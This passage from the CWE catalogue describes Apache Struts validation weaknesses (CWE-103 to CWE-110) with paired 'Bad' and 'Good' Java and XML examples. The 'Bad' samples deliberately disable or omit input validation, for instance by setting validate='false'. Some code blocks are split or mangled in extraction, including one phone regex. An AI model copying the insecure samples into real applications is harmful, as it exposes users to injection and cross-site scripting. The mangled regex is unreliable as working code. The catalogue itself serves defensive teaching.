**Example 1:**

Two validation forms with the same name.

Example Language: XML

(Bad)

```
<form-validation>
  <formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
  </formset>
</form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the product.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Duplicate Validation Forms
Software Fault Patterns	SFP24		Tainted input to command

**References**

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

**CWE-103: Struts: Incomplete validate() Method Definition**

**Weakness ID** : 103

**Structure** : Simple

**Abstraction** : Variant

**Description**

The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

**Extended Description**

If the code does not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Background Details

The Struts Validator uses a form's `validate()` method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a `validate()` method that is part of the validation framework: `ValidatorForm`, `ValidatorActionForm`, `DynaValidatorForm`, and `DynaValidatorActionForm`. If the code creates a class that extends one of these classes, and if that class implements custom validation logic by overriding the `validate()` method, the code must call `super.validate()` in the `validate()` implementation.

## Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<i>Disabling the validation framework for a form exposes the product to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.</i>	
Confidentiality Integrity Availability Other	Other	
	<i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i>	

## Potential Mitigations

### Phase: Implementation

Implement the `validate()` method and call `super.validate()` within that method.

## Demonstrative Examples

### Example 1:

In the following Java example the class `RegistrationForm` is a Struts framework `ActionForm` Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the `RegistrationForm` bean in the Struts framework will maintain the user data. The `RegistrationForm` class implements the `validate` method to validate the user input entered into the form.

*Example Language: Java*

*(Bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
```

```

private String email;
...
public RegistrationForm() {
    super();
}
public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
    ActionErrors errors = new ActionErrors();
    if (getName() == null || getName().length() < 1) {
        errors.add("name", new ActionMessage("error.name.required"));
    }
    return errors;
}
// getter and setter methods for private variables
...
}

```

Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call `super.validate()`. Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

Example Language: Java

(Good)

```

public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = super.validate(mapping, request);
        if (errors == null) {
            errors = new ActionErrors();
        }
        if (getName() == null || getName().length() < 1) {
            errors.add("name", new ActionMessage("error.name.required"));
        }
        return errors;
    }
    // getter and setter methods for private variables
    ...
}

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Notes

### Relationship

This could introduce other weaknesses related to missing input validation.

### Maintenance

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Erroneous validate() Method
Software Fault Patterns	SFP24		Tainted input to command

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-104: Struts: Form Bean Does Not Extend Validation Class

**Weakness ID** : 104

**Structure** : Simple

**Abstraction** : Variant


### Description

If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Background Details

In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. One of these classes must be extended because the Struts Validator ties in to the application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
<i>Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input</i>		



Scope	Impact	Likelihood
	<i>is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.</i>	
Confidentiality Integrity Availability Other	Other  <i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i>	

### Potential Mitigations

#### Phase: Implementation

Ensure that all forms extend one of the Validation Classes.

### Demonstrative Examples

#### Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

*Example Language: Java*

*(Bad)*

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

*Example Language: Java*

*(Good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Form Bean Does Not Extend Validation Class
Software Fault Patterns	SFP24		Tainted input to command

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-105: Struts: Form Field Without Validator

**Weakness ID** : 105  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

### Extended Description

Omitting validation for even a single input field may give attackers the leeway they need to compromise the product. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1173	Improper Use of Validation Framework	1824

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Integrity	Bypass Protection Mechanism <i>If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.</i>	

## Potential Mitigations

### Phase: Implementation

Validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.

## Demonstrative Examples

### Example 1:

In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

*Example Language:*

*(Result)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.

*Example Language: XML*

*(Bad)*

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
    </form>
  </formset>
</form-validation>
```

```

</field>
<field property="city" depends="required">
  <arg position="0" key="prompt.city"/>
</field>
<field property="state" depends="required,mask">
  <arg position="0" key="prompt.state"/>
  <var>
    <var-name>mask</var-name>
    <var-value>[a-zA-Z]{2}</var-value>
  </var>
</field>
<field property="zipcode" depends="required,mask">
  <arg position="0" key="prompt.zipcode"/>
  <var>
    <var-name>mask</var-name>
    <var-value>\d{5}</var-value>
  </var>
</field>
</form>
</formset>
</form-validation>

```

However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

Example Language: XML

(Good)

```

<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
        <arg position="0" key="prompt.state"/>
        <var>
          <var-name>mask</var-name>
          <var-value>[a-zA-Z]{2}</var-value>
        </var>
      </field>
      <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
          <var-name>mask</var-name>
          <var-value>\d{5}</var-value>
        </var>
      </field>
      <field property="phone" depends="required,mask">
        <arg position="0" key="prompt.phone"/>
        <var>
          <var-name>mask</var-name>
          <var-value>^\{0-9\}\{3\}\(-\)\{0-9\}\{4\}\{0-9\}\{4\}\$</var-value>
        </var>
      </field>
      <field property="email" depends="required,email">
        <arg position="0" key="prompt.email"/>
      </field>
    </form>
  </formset>
</form-validation>

```

```
</formset>
</form-validation>
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Form Field Without Validator
Software Fault Patterns	SFP24		Tainted input to command

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-106: Struts: Plug-in Framework not in Use

**Weakness ID** : 106

**Structure** : Simple

**Abstraction** : Variant

### Description

When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

### Extended Description

Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1824

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Use an input validation framework such as Struts.

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use an input validation framework such as Struts.

#### Phase: Implementation

*Strategy = Input Validation*

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in the configuration of the Struts Validator. Example uses of the validator include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

#### Phase: Implementation

*Strategy = Libraries or Frameworks*

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in the configuration of the Struts Validator. Example uses of the validator include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

### Demonstrative Examples

#### Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

*Example Language: Java*

*(Bad)*

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
```



```
...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

Example Language: Java

(Good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.XML, for custom validation.

Example Language: XML

(Good)

```
<struts-config>
  <form-beans>
    <form-bean name="RegistrationForm" type="RegistrationForm"/>
  </form-beans>
  ...
  <!-- ===== Validator plugin ===== -->
  <plug-in className="org.apache.struts.validator.ValidatorPlugIn">
    <set-property
      property="pathnames"
      value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
  </plug-in>
</struts-config>
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Plug-in Framework Not In Use

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/](https://samate.nist.gov/SSATTM_Content/)

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

## CWE-107: Struts: Unused Validation Form

**Weakness ID :** 107

**Structure :** Simple

**Abstraction :** Variant

### Description

An unused validation form indicates that validation logic is not up-to-date.

### Extended Description

It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1164	Irrelevant Code	1823

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

**Phase: Implementation**

Remove the unused Validation Form from the validation.xml file.

### Demonstrative Examples

**Example 1:**

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

Example Language: Java

(Bad)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    // no longer using the phone form field
    // private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

Example Language: XML

(Bad)

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
        <arg position="0" key="prompt.state"/>
        <var>
          <var-name>mask</var-name>
          <var-value>[a-zA-Z]{2}</var-value>
        </var>
      </field>
      <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
          <var-name>mask</var-name>
          <var-value>\d{5}</var-value>
        </var>
      </field>
      <field property="phone" depends="required,mask">
        <arg position="0" key="prompt.phone"/>
        <var>
          <var-name>mask</var-name>
          <var-value>^[0-9]{3})(-|[0-9]{4})[0-9]{4}$</var-value>
        </var>
      </field>
      <field property="email" depends="required,email">
        <arg position="0" key="prompt.email"/>
      </field>
    </form>
  </formset>
</form-validation>
```

However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Unused Validation Form

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-108: Struts: Unvalidated Action Form

**Weakness ID** : 108

**Structure** : Simple

**Abstraction** : Variant

### Description

Every Action Form must have a corresponding validation form.

### Extended Description

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1824

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf	G	20	Improper Input Validation	19

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<i>If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.</i>	
Confidentiality Integrity Availability Other	Other	
	<i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Map every Action Form to a corresponding validation form. An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Unvalidated Action Form
Software Fault Patterns	SFP24		Tainted input to command

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-109: Struts: Validator Turned Off

**Weakness ID** : 109

**Structure** : Simple

**Abstraction** : Variant

### Description

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1173	Improper Use of Validation Framework	1824

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Implementation**

Ensure that an action form mapping enables validation. Set the validate field to true.

### Demonstrative Examples

**Example 1:**

This mapping defines an action for a download form:

*Example Language: XML*

*(Bad)*

```
<action path="/download"
type="com.website.d2.action.DownloadAction"
name="downloadForm"
scope="request"
input=".download"
validate="false">
</action>
```

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206



## Notes

### Other

The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "&lt;" and a > with "&gt;". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Validator Turned Off
Software Fault Patterns	SFP24		Tainted input to command

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-110: Struts: Validator Without Form Field

**Weakness ID** : 110

**Structure** : Simple

**Abstraction** : Variant

### Description

Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

### Extended Description

It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

